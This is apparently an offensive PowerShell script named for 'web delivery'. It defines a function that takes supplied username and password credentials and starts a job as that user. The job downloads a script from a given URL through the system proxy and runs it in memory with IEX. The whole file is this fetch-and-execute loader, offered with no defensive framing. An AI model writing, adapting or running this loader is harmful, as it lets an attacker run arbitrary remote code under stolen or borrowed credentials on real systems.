runas-cabesha-webdelivery.ps1

function runas-cabesha-webdelivery {param ($url,$user,$pass)
$username = $user
$password = $pass
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credenciales = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Job -ArgumentList $url,$credenciales -ScriptBlock {param ($url,$credenciales)
$O=new-object net.webclient;$O.proxy=[Net.WebRequest]::GetSystemWebProxy();$O.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($O.downloadstring("$URL"))
} -Credential $credenciales | Wait-Job | Receive-Job
}

// ACK to @cybervaka, the powershell God